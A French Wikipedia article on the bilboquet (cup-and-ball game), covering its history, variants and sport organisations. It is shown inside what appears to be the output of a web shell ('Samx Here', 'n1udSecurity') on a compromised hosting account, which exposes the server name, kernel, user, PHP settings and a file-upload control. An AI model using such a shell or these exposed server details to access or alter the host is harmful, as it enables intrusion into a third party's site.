Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/l/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/l/Bilboquet.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bilboquet - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bilboquet</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="thumb tleft">
<div class="thumbinner" style="width:167px;"><a href="../../../../articles/b/i/l/Image%7EBilboquet.jpg_240b.html" class="image" title="Bilboquet en buis"><img alt="Bilboquet en buis" src="../../../../images/shared/thumb/6/6d/Bilboquet.jpg/165px-Bilboquet.jpg" width="165" height="224" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/b/i/l/Image%7EBilboquet.jpg_240b.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Bilboquet en <a href="../../../../articles/b/u/i/Buis.html" title="Buis">buis</a></div>
</div>
</div>
<p>Le <b>bilboquet</b> est un <a href="../../../../articles/j/e/u/Jeu_d%27adresse.html" title="Jeu d'adresse">jeu d'adresse</a> composé d'une tige souvent en bois reliée par une cordelette à une boule percée d'un ou de plusieurs trous d'un diamètre ajusté à la tige. Son nom français vient de <i>bille</i> et <i>bocquet</i> qui désigne la pointe d'un <a href="../../../../articles/j/a/v/Javelot.html" title="Javelot">javelot</a>. Il est présent dans de nombreuses cultures et époques sous différents noms et son origine est très ancienne.</p>
<p>Le jeu consiste par un mouvement d'adresse, en utilisant une seule main, à lancer en l'air la boule de façon qu'elle retombe sur la tige qui s'enfile seule dans le trou. Accessoirement, l'objet qui peut être décoré, en bois précieux ou <a href="../../../../articles/i/v/o/Ivoire.html" title="Ivoire">ivoire</a>, est aussi un bibelot de vitrine. On peut également y trouver une connotation sexuelle.</p>
<p><a name="Historique" id="Historique"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bilboquet.html" title="Modifier la section&#160;: Historique">modifier</a>]</span> <span class="mw-headline">Historique</span></h2>
<div class="thumb tright">
<div class="thumbinner" style="width:182px;"><a href="../../../../articles/k/e/n/Image%7EKendama.jpg_f4a4.html" class="image" title="Le kendama japonais"><img alt="Le kendama japonais" src="../../../../images/shared/thumb/0/00/Kendama.jpg/180px-Kendama.jpg" width="180" height="219" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/k/e/n/Image%7EKendama.jpg_f4a4.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Le <i>kendama</i> japonais</div>
</div>
</div>
<p>L'origine du jeu de bilboquet est assez obscure. Certaines sources disent qu'il serait apparu pour la première fois en France, à la fin du <span class="romain" title="Nombre&#160;écrit en chiffres romains">XVI</span><sup class="exposant">e</sup>&#160;siècle mais les vêtements des plus anciennes gravures montrant des joueurs de bilboquet sont du <span class="romain" title="Nombre&#160;écrit en chiffres romains">XVII</span><sup class="exposant">e</sup>&#160;siècle.</p>
<p>Le mot lui-même a une <a href="../../../../articles/%C3%A9/t/y/%C3%89tymologie.html" title="Étymologie">étymologie</a> contestée. Inventé en France, au <span class="romain" title="Nombre&#160;écrit en chiffres romains">XVI</span><sup class="exposant">e</sup>&#160;siècle, on fait mention du mot bille boucquet, boucquet venant de bouquer («encorner», comme le fait un bouc). On dit qu'il serait apparu pour la première fois en français, en 1534, l'année de la première venue de <a href="../../../../articles/j/a/c/Jacques_Cartier_8348.html" title="Jacques Cartier">Jacques Cartier</a> au Canada, et qu'il aurait été formé des mots «bille» («petite boule», 1164 ou encore «bâtonnet», 1176) et «bouquet» (diminutif de «bouque», 1203, ou «boule») mais on retrouve déjà, dans Chaucer (c.1340-1400) le mot bilbo, sorte de tiges servant à immobiliser les pieds de prisonniers et <a href="../../../../articles/c/e/r/Cervant%C3%A8s.html" class="mw-redirect" title="Cervantès">Cervantès</a> (1547-1616) affirme de son côté que les bilbos, épées à pointe et à boule, fabriquées à Bilboa (en pays Basque), auraient existé dès le <span class="romain" title="Nombre&#160;écrit en chiffres romains">XI</span><sup class="exposant">e</sup>&#160;siècle.</p>
<p>Le roi de France <a href="../../../../articles/h/e/n/Henri_III_de_France_28cd.html" title="Henri III de France">Henri III</a> lança la mode du bilboquet durant son règne (1574-1589). Il aimait beaucoup y jouer durant ses promenades entouré de ses <a href="../../../../articles/m/i/g/Mignon_%28histoire%29.html" title="Mignon (histoire)">mignons</a>. C'est grâce à lui que le jeu du bilboquet est devenu à la mode. De plus audacieux auteurs font remonter l'invention du pique-balle aux époques carthaginoises, romaines ou même crétoises et de récentes fouilles effectuées dans la presqu'île du <a href="../../../../articles/y/u/c/Yucat%C3%A1n.html" title="Yucatán">Yucatán</a> ont mis au jour un traité mayan datant de la période classique (250-950 après J.-C.) sur un jeu semblable à la première forme du pique-balle mais où les «balles» auraient été - qu'on nous pardonne de le mentionner - des crânes humains.</p>
<p>Le bilboquet japonais ou <i><a href="../../../../articles/k/e/n/Kendama.html" title="Kendama">kendama</a></i>&#160;: cette version de bilboquet contient 3 «coupes» et 1 «pic». C'est la version actuellement utilisée en compétition et le jeu est beaucoup plus difficile. Après avoir envoyé la balle sur le pic, on se doit de l'attraper dans chacune des coupes qui ont des diamètres différents.</p>
<p>Le bilboquet mexicain ou <i>balero</i>&#160;: cette fois-ci, ce n'est plus une boule que l'on lance mais un cylindre. Le "balero" (son nom hispanique) est une tradition culturelle très ancienne au mexique. La boule ressemble plutôt à un tonnelet. Le principe est le même que le bilboquet français.</p>
<p>Le bilboquet indien&#160;: dans ce bilboquet à forme originale, la boule est remplacée par un anneau, mais le principe reste le même.</p>
<p>Les esquimaux canadiens fabriquaient les bilboquets en os des animaux qu'ils avaient capturés. Ils donnaient un pouvoir magique au jeu&#160;: ils croyaient que le jeu accélérait le retour du soleil. Les Indiens faisaient des paris importants avec le bilboquet, ils pariaient des kayaks, des esclaves et même des femmes&#160;!</p>
<p><a name="Le_bilboquet.2C_sport_d.27adresse" id="Le_bilboquet.2C_sport_d.27adresse"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bilboquet.html" title="Modifier la section&#160;: Le bilboquet, sport d'adresse">modifier</a>]</span> <span class="mw-headline">Le bilboquet, sport d'adresse</span></h2>
<p>La pratique du bilboquet est aussi considérée comme un sport et possède des règles et des organisations sportives nationales et internationales.</p>
<p>Notamment&#160;:</p>
<ul>
<li>Balero Players’ Association – International, États-Unis</li>
<li>Federacion Internacional de Balero Asoceichon, Mexique</li>
<li>Fédération Internationale de Bilboquet, France</li>
<li>Japan Kendama Association, Japon</li>
</ul>
<p>Comme dans les sports chorégraphiques, et les sports de glisse, une pratique artistique appelée "Freestyle" consiste en la réalisation de figures libres. La ficelle pourra être supprimée pour les joueurs les plus doués.</p>
<p>Sans aucune forme de competition, certains joueurs inspirés inventent et réalisent des enchaînements de figures, avant de les filmer pour les publier sur internet.</p>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/l/Bilboquet.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h2>
<ul>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span><a href="http://www.bilbostyle.com" class="external text" title="http://www.bilbostyle.com" rel="nofollow">www.bilbostyle.com&#160;: Bilboquet Newschool Freestyle - Regroupement de pratiquants, vidéos, forums, boutique – France</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span><a href="http://www.elbalero.com" class="external text" title="http://www.elbalero.com" rel="nofollow">Balero Players’ Association – International</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span><a href="http://www.kendamakyokai.com/index_english.html" class="external text" title="http://www.kendamakyokai.com/index_english.html" rel="nofollow">Japan Kendama Association</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span><a href="http://www.pepere.org/flash-development_1_3x/flash-game-bilboquet-game_u_4.html" class="external text" title="http://www.pepere.org/flash-development_1_3x/flash-game-bilboquet-game_u_4.html" rel="nofollow">Le jeu du bilboquet</a> — Simulation</li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span><a href="http://www.ahs.uwaterloo.ca/~museum/VirtualExhibits/bilboquet/pages/index.html" class="external text" title="http://www.ahs.uwaterloo.ca/~museum/VirtualExhibits/bilboquet/pages/index.html" rel="nofollow">Bilboquet Elliot Avedon Museum &amp; Archive of Games</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: français">(fr)</span><a href="http://www.ezec.fr" class="external text" title="http://www.ezec.fr" rel="nofollow">Ezec Le floc'h Jongleur aux bilboquets</a> — Version artistique de la pratique du bilboquet, photos, vidéos.</li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/n/u/v/Image%7ENuvola_apps_atlantik.png_cede.html" class="image" title="Icône du portail des jeux"><img alt="Icône du portail des jeux" src="../../../../images/shared/thumb/7/77/Nuvola_apps_atlantik.png/24px-Nuvola_apps_atlantik.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/l/u/d/Portail%7ELudop%C3%A9dia_acdd.html" title="Portail:Ludopédia">Portail des jeux</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 189/1000000
Post-expand include size: 2838/2048000 bytes
Template argument size: 324/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/j/e/u/Cat%C3%A9gorie%7EJeu_d%27adresse_a019.html" title="Catégorie:Jeu d'adresse">Jeu d'adresse</a></span> | <span dir='ltr'><a href="../../../../articles/s/p/o/Cat%C3%A9gorie%7ESport_individuel_ba63.html" title="Catégorie:Sport individuel">Sport individuel</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/n/Cat%C3%A9gorie%7EJonglerie_c0d1.html" title="Catégorie:Jonglerie">Jonglerie</a></span> | <span dir='ltr'><a href="../../../../articles/j/o/u/Cat%C3%A9gorie%7EJouet_1cd6.html" title="Catégorie:Jouet">Jouet</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/l/Bilboquet.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/l/Discuter%7EBilboquet_db92.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Bilboquet">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/b/i/l/Bilboquet_%28Spiel%29_8392.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/b/i/l/Bilboquet.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/b/a/l/Balero.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%81%91/%E3%82%93/%E7%8E%89/%E3%81%91%E3%82%93%E7%8E%89.html">日本語</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 26 mai 2008 à 15:36 par Utilisateur(s) non enregistré(s) de Wikipédia. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/s/e/b/Utilisateur%7ESebleouf_79d9.html" title="Utilisateur:Sebleouf">Sebleouf</a>, <a href="../../../../articles/a/2/_/Utilisateur%7EA2_55cd.html" title="Utilisateur:A2">A2</a>, <a href="../../../../articles/c/o/m/Utilisateur%7ECommonsDelinker_8698.html" title="Utilisateur:CommonsDelinker">CommonsDelinker</a>, <a href="../../../../articles/l/e/a/Utilisateur%7ELeag_bdb3.html" title="Utilisateur:Leag">Leag</a>, <a href="../../../../articles/r/h/i/Utilisateur%7ERhizome_5756.html" title="Utilisateur:Rhizome">Rhizome</a>, <a href="../../../../articles/m/a/l/Utilisateur%7EMalta_1310.html" title="Utilisateur:Malta">Malta</a>, <a href="../../../../articles/d/o/c/Utilisateur%7EDocteurCosmos_10cb.html" title="Utilisateur:DocteurCosmos">DocteurCosmos</a>, <a href="../../../../articles/m/i/r/Utilisateur%7EMirgolth_2cc0.html" title="Utilisateur:Mirgolth">Mirgolth</a>, <a href="../../../../articles/f/l/u/Utilisateur%7EFluti_ce73.html" title="Utilisateur:Fluti">Fluti</a>, <a href="../../../../articles/m/a/l/Utilisateur%7EMaloq_8d1b.html" title="Utilisateur:Maloq">Maloq</a>, <a href="../../../../articles/j/e/f/Utilisateur%7EJef-Infojef_b31d.html" title="Utilisateur:Jef-Infojef">Jef-Infojef</a>, <a href="../../../../articles/a/r/n/Utilisateur%7EArnaud.Serander_cfc1.html" title="Utilisateur:Arnaud.Serander">Arnaud.Serander</a>, <a href="../../../../articles/s/i/r/Utilisateur%7ESiren_fd6a.html" title="Utilisateur:Siren">Siren</a>, <a href="../../../../articles/s/w/a/Utilisateur%7ESwanzack_d475.html" title="Utilisateur:Swanzack">Swanzack</a>, <a href="../../../../articles/c/l/i/Utilisateur%7EClio64_6ee8.html" title="Utilisateur:Clio64">Clio64</a>, <a href="../../../../articles/f/h/_/Utilisateur%7EFH_a63c.html" title="Utilisateur:FH">FH</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/b/o/b/Utilisateur%7EBob08_5a46.html" title="Utilisateur:Bob08">Bob08</a> et <a href="../../../../articles/j/o/n/Utilisateur%7EJona_8657.html" title="Utilisateur:Jona">Jona</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX